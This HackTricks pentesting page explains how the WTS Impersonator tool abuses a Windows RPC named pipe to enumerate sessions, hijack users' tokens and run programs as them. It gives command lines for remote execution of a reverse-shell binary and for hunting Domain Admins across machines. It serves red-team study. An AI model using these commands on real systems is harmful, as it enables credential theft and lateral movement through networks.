hacktricks/windows-hardening/stealing-credentials/wts-impersonator.md
2024-12-12 11:39:29 +01:00

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The **WTS Impersonator** tool exploits the **"\\pipe\LSM_API_service"** RPC Named pipe to stealthily enumerate logged-in users and hijack their tokens, bypassing traditional Token Impersonation techniques. This approach facilitates seamless lateral movements within networks. The innovation behind this technique is credited to **Omri Baso, whose work is accessible on [GitHub](https://github.com/OmriBaso/WTSImpersonator)**.
### Core Functionality
The tool operates through a sequence of API calls:
```powershell
WTSEnumerateSessionsA WTSQuerySessionInformationA WTSQueryUserToken CreateProcessAsUserW
```
### Key Modules and Usage
- **Enumerating Users**: Local and remote user enumeration is possible with the tool, using commands for either scenario:
- Locally:
```powershell
.\WTSImpersonator.exe -m enum
```
- Remotely, by specifying an IP address or hostname:
```powershell
.\WTSImpersonator.exe -m enum -s 192.168.40.131
```
- **Executing Commands**: The `exec` and `exec-remote` modules require a **Service** context to function. Local execution simply needs the WTSImpersonator executable and a command:
- Example for local command execution:
```powershell
.\WTSImpersonator.exe -m exec -s 3 -c C:\Windows\System32\cmd.exe
```
- PsExec64.exe can be used to gain a service context:
```powershell
.\PsExec64.exe -accepteula -s cmd.exe
```
- **Remote Command Execution**: Involves creating and installing a service remotely similar to PsExec.exe, allowing execution with appropriate permissions.
- Example of remote execution:
```powershell
.\WTSImpersonator.exe -m exec-remote -s 192.168.40.129 -c .\SimpleReverseShellExample.exe -sp .\WTSService.exe -id 2
```
- **User Hunting Module**: Targets specific users across multiple machines, executing code under their credentials. This is especially useful for targeting Domain Admins with local admin rights on several systems.
- Usage example:
```powershell
.\WTSImpersonator.exe -m user-hunter -uh DOMAIN/USER -ipl .\IPsList.txt -c .\ExeToExecute.exe -sp .\WTServiceBinary.exe
```
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<details>
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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